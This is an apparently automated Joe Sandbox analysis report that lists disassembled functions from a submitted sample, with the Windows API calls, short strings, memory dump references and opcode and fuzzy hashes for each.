Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,006DFAC0), ref: 006B3A64
GetLastError.KERNEL32 ref: 006B3A73
CreateDirectoryW.KERNEL32(?,00000000), ref: 006B3A82
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,006DFAC0), ref: 006B3ADF

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: b5abc35f0a5adefb13f5789229542bb94c4996d242be628d587cf8d254042621
Instruction ID: 21577e40a3fe64788938bfc72b0dade8d70d10eadfea4e21ca42b2a6561bac12
Opcode Fuzzy Hash: b5abc35f0a5adefb13f5789229542bb94c4996d242be628d587cf8d254042621
Instruction Fuzzy Hash: B52186B46092119F8310DF28D8858EA77E6AF55364F244A1EF4DAC73A1D731DE8ACB42

Function 006850E2 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00685101

Part of subcall function 0067571C: __FF_MSGBANNER.LIBCMT ref: 00675733
Part of subcall function 0067571C: __NMSG_WRITE.LIBCMT ref: 0067573A
Part of subcall function 0067571C: RtlAllocateHeap.NTDLL(00E00000,00000000,00000001,00000000,?,?,?,00670DD3,?), ref: 0067575F

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 3e043f3fc71b2d4e68607e736fee343c6fb709ee37fc45a9c7ffb39b4de7ff37
Instruction ID: 79c0e93cf8e4f5f5552149d1b52ef062b256e9c9d464bb8397293d25d8ae0810
Opcode Fuzzy Hash: 3e043f3fc71b2d4e68607e736fee343c6fb709ee37fc45a9c7ffb39b4de7ff37
Instruction Fuzzy Hash: 2511E372901A11AFCB313F74EC0D79D379B9F04361B11862EF98A9A290DF348D419798

Function 006544A0 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006544CF

Part of subcall function 0065407C: _memset.LIBCMT ref: 006540FC
Part of subcall function 0065407C: _wcscpy.LIBCMT ref: 00654150
Part of subcall function 0065407C: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00654160

KillTimer.USER32(?,00000001,?,?), ref: 00654524
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00654533
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 0068D4B9

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: fb79ba396fcdecf7040cbbf66343f91e6187b86e0794253de84d0d6d555e4b6c
Instruction ID: ab3b98f1bf8a75e53b2c097469c546d34165a8aeb77c448efb6de6af38a5d797
Opcode Fuzzy Hash: fb79ba396fcdecf7040cbbf66343f91e6187b86e0794253de84d0d6d555e4b6c
Instruction Fuzzy Hash: 23210770904784AFE7329B249855BE6BBEEAF01319F0440DEE68E56281D7742988CB51

Function 006C6369 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00655A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,006B7896,?,?,00000000), ref: 00655A2C
Part of subcall function 00655A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,006B7896,?,?,00000000,?,?), ref: 00655A50

gethostbyname.WSOCK32(?,?,?), ref: 006C6399
WSAGetLastError.WSOCK32(00000000), ref: 006C63A4
_memmove.LIBCMT ref: 006C63D1
inet_ntoa.WSOCK32(?), ref: 006C63DC

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 126f50f200871e1180cc1554df103e85c41923a03a2e457fc15d9cd5b8d8e403
Instruction ID: 8ae2bd9dcf04f6dc1c1435ee7d77184a4d6f0e9fef83a39eff9102ba83c44007
Opcode Fuzzy Hash: 126f50f200871e1180cc1554df103e85c41923a03a2e457fc15d9cd5b8d8e403
Instruction Fuzzy Hash: BE115E71900109AFCB44FBA4DD96DEEB7BAEF04311B14406DF906A7261DB30AE08DB65

Function 006A8B41 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 006A8B61
SendMessageW.USER32(?,000000C9,?,00000000), ref: 006A8B73
SendMessageW.USER32(?,000000C9,?,00000000), ref: 006A8B89
SendMessageW.USER32(?,000000C9,?,00000000), ref: 006A8BA4

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 48725077ede48ddd8524ea1902ab79d0686450f7dc7be43bc0978a19a7615a12
Instruction ID: ea0dab502850e367013735163c0d185625e80273abd4da7183fd8b75f30c0af7
Opcode Fuzzy Hash: 48725077ede48ddd8524ea1902ab79d0686450f7dc7be43bc0978a19a7615a12
Instruction Fuzzy Hash: 3C111C79901218FFDB11DF95CC85F9DBB75FB49710F204095E900B7290DA716E11DBA4

Function 00651290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00652612: GetWindowLongW.USER32(?,000000EB), ref: 00652623

DefDlgProcW.USER32(?,00000020,?), ref: 006512D8
GetClientRect.USER32(?,?), ref: 0068B5FB
GetCursorPos.USER32(?), ref: 0068B605
ScreenToClient.USER32(?,?), ref: 0068B610

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: b702176744cee4a4e380e14092c60b823cfa3a86203441454d2df8cf52b2c3bf
Instruction ID: 00405bd602cda7a68141e33f7165f06d90a63a6d64399a2cfcc40c56b134ca6c
Opcode Fuzzy Hash: b702176744cee4a4e380e14092c60b823cfa3a86203441454d2df8cf52b2c3bf
Instruction Fuzzy Hash: 18112B35901019FFCB00DFA8D885AFE77BAEB06301F404456F901E7240C730AB95CBAA

Function 006AD831 Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 006AD84D
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 006AD864
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 006AD879
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 006AD897

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: abdf643bcceddae2278d0aa674d16bf702455fab35cbb64c3285a2139054e393
Instruction ID: 6a73bfa35a50038424b945838d4b92b688d5ceebd968e0799d0ac96ae46b27bc
Opcode Fuzzy Hash: abdf643bcceddae2278d0aa674d16bf702455fab35cbb64c3285a2139054e393
Instruction Fuzzy Hash: BA11A171A02304DBE3209F50DC08F97BBFDEB01B00F10856AE517C6891D7B8E9099FA1

Function 00686FB7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00686FDB

Part of subcall function 006876C2: __fltout2.LIBCMT ref: 006876EB

__cftog_l.LIBCMT ref: 00687001
__cftoe_l.LIBCMT ref: 00687033

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 435db66c2c6472413e49d5f9ed756bb0b5b87230d82229ead5371e30ee6abc33
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 27014CB244814EBBCF166F84CC41CEE3F63BB18355F688615FE1859131D236C9B1AB81

Function 006DB2C5 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 006DB2E4
ScreenToClient.USER32(?,?), ref: 006DB2FC
ScreenToClient.USER32(?,?), ref: 006DB320
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 006DB33B

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 22dd4180203abc6017a599394385c3db27124c49c081852419a3c916734dde69
Instruction ID: 27f7197ef3fea4e12d5af714e544e27809f5a0894d389439838de831bca39e01
Opcode Fuzzy Hash: 22dd4180203abc6017a599394385c3db27124c49c081852419a3c916734dde69
Instruction Fuzzy Hash: 8C1143B9D00249EFDB41CFA9C8849EEBBB9FB08310F109166E915E3720D735AA559F50

Function 006B6BDA Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 006B6BE6

Part of subcall function 006B76C4: _memset.LIBCMT ref: 006B76F9

_memmove.LIBCMT ref: 006B6C09
_memset.LIBCMT ref: 006B6C16
LeaveCriticalSection.KERNEL32(?), ref: 006B6C26

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 14707b00704398f4dc8148876045391ba0ac91f182b1b162ed486fa99fbe413d
Instruction ID: 793826139f0973948485678f2c7d85301aed8f349ad34a9025758d93f3c351c9
Opcode Fuzzy Hash: 14707b00704398f4dc8148876045391ba0ac91f182b1b162ed486fa99fbe413d
Instruction Fuzzy Hash: DEF05E7A600100BBCF416F95DC85A8ABB2AEF45321F04C065FE099F227DB31E951CBB8

Function 00652218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00652231
SetTextColor.GDI32(?,000000FF), ref: 0065223B
SetBkMode.GDI32(?,00000001), ref: 00652250
GetStockObject.GDI32(00000005), ref: 00652258
GetWindowDC.USER32(?,00000000), ref: 0068BE83
GetPixel.GDI32(00000000,00000000,00000000), ref: 0068BE90
GetPixel.GDI32(00000000,?,00000000), ref: 0068BEA9
GetPixel.GDI32(00000000,00000000,?), ref: 0068BEC2
GetPixel.GDI32(00000000,?,?), ref: 0068BEE2
ReleaseDC.USER32(?,00000000), ref: 0068BEED

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 65fa6a35ae7df839a73deaa68a61c10618bd2a7c5460177ae4469d7adaf8d92e
Instruction ID: 0cacf318defbb3ca9dd49dffca884cfb9e69c84dff4a5d066eb3790375e327a4
Opcode Fuzzy Hash: 65fa6a35ae7df839a73deaa68a61c10618bd2a7c5460177ae4469d7adaf8d92e
Instruction Fuzzy Hash: 7EE06D32904244EADF215FA4FC0D7D83F12EB16332F049367FA6A480E187724A80DB12

Function 006A8712 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 006A871B
OpenThreadToken.ADVAPI32(00000000,?,?,?,006A82E6), ref: 006A8722
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,006A82E6), ref: 006A872F
OpenProcessToken.ADVAPI32(00000000,?,?,?,006A82E6), ref: 006A8736

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 48977ee24e0aa0abcb950b3206cef81fa57cf1b2f38535598b4e836bafc43513
Instruction ID: 704c3c6c6ddcc0fe1ca5ee8d7f3aa38038161189fe63dc18f39595e3ffb27af5
Opcode Fuzzy Hash: 48977ee24e0aa0abcb950b3206cef81fa57cf1b2f38535598b4e836bafc43513
Instruction Fuzzy Hash: 3FE08636A122119FD7206FF05D0CF9A3BAEEF51791F158829B246CB040DA348841CB50

Function 00656240 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 317COMMON

Download Yara Rule

Strings

%n, xrefs: 0065624E

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID: %n
API String ID: 0-2798127140
Opcode ID: 3f3079128ef0a9ac03c8453b6f30077027a69abaa415d914acf7f269a1e9c11b
Instruction ID: 8f2166cfbaeac666c364d9ad125e4ec9b4097ce360e1c0d4bcf9383a84e0298b
Opcode Fuzzy Hash: 3f3079128ef0a9ac03c8453b6f30077027a69abaa415d914acf7f269a1e9c11b
Instruction Fuzzy Hash: BAB1A2718001099BCF14EF94C8959FEB7B7EF48312F90412AFD52A7291DB349E8ACB95

Function 006CAEA2 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 313COMMON

Download Yara Rule

APIs

__itow_s.LIBCMT ref: 006CAFAE

Strings

xbq, xrefs: 006CB010
xbq, xrefs: 006CAFE4

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: __itow_s
String ID: xbq$xbq
API String ID: 3653519197-3323883282
Opcode ID: 382ab5b9514f217f9c0aaad43ad53bd1a14ee68d8a4e4f8432c50ec5f1eed3d4
Instruction ID: dab38f72d9dfa754fec3002d925b0bc6f5719c734dd2708321571af4842dad04
Opcode Fuzzy Hash: 382ab5b9514f217f9c0aaad43ad53bd1a14ee68d8a4e4f8432c50ec5f1eed3d4
Instruction Fuzzy Hash: 9AB15B70A00209AFCB14DF58C891EFABBBAFF58300F14815DF9459B291EB70E985CB64

Function 006BAFAC Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 0066FC86: _wcscpy.LIBCMT ref: 0066FCA9

Part of subcall function 00659837: __itow.LIBCMT ref: 00659862
Part of subcall function 00659837: __swprintf.LIBCMT ref: 006598AC

__wcsnicmp.LIBCMT ref: 006BB02D
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 006BB0F6

Strings

LPT, xrefs: 006BB027

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: f8e4fce916e9294226640773e78e594031bd1fe42407e72eb6f65dbab3cc3925
Instruction ID: 11a1d78a8d9f3d63ab9c95b5df5c9bc20cc6560f26926b7a9b816be6cd909a64
Opcode Fuzzy Hash: f8e4fce916e9294226640773e78e594031bd1fe42407e72eb6f65dbab3cc3925
Instruction Fuzzy Hash: E96161B5A00215EFCB14EF98C891EEEB7B6EF08310F144169F916AB351D770AE85CB54

Function 00662957 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00662968
GlobalMemoryStatusEx.KERNEL32(?), ref: 00662981

Strings

@, xrefs: 00662975

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 5a1a675fb864ef9abad951d64e68ae2839599ac798ef317aaf3b6acabba1c442
Instruction ID: 7e67e50fbbbaa7e2fb3c91b2f7c61c4db71aded928806624632d36f999bd4092
Opcode Fuzzy Hash: 5a1a675fb864ef9abad951d64e68ae2839599ac798ef317aaf3b6acabba1c442
Instruction Fuzzy Hash: 0B5154724087449BD360EF10D886BABBBE9FB85341F41895DF6D8410A1DF70852CCB6A

Function 006B9734 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00654F0B: __fread_nolock.LIBCMT ref: 00654F29

_wcscmp.LIBCMT ref: 006B9824
_wcscmp.LIBCMT ref: 006B9837

Strings

FILE, xrefs: 006B9770

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 0a19119a1fed1079bf444a1d72fd90c62c0e46b2d8455e2d03c49b563e6ae8b2
Instruction ID: 5cac761f734bcfe490e5fbf2ed35f660e5282257fe318b07cca9db2f12446ef4
Opcode Fuzzy Hash: 0a19119a1fed1079bf444a1d72fd90c62c0e46b2d8455e2d03c49b563e6ae8b2
Instruction Fuzzy Hash: 5C41F971A00209BADF209FA4CC85FEFBBBEDF85714F00046DFA05A7281DA7199458B65

Function 00690574 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0069057F

Strings

Ddq, xrefs: 0065A151
Ddq, xrefs: 0065A317

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ClearVariant
String ID: Ddq$Ddq
API String ID: 1473721057-78641243
Opcode ID: a3822f194a97426978fe6a68592d022db5d295d78e30e4af01782664bbccbef9
Instruction ID: 91dca9cefc2a7fb074d30001f7960b6ea4b00305d3c031fd1814540a78a4eba2
Opcode Fuzzy Hash: a3822f194a97426978fe6a68592d022db5d295d78e30e4af01782664bbccbef9
Instruction Fuzzy Hash: F65122786083418FDB60CF58C580A6ABBF2BB88355F54891CEC858B361D331EC89CF82

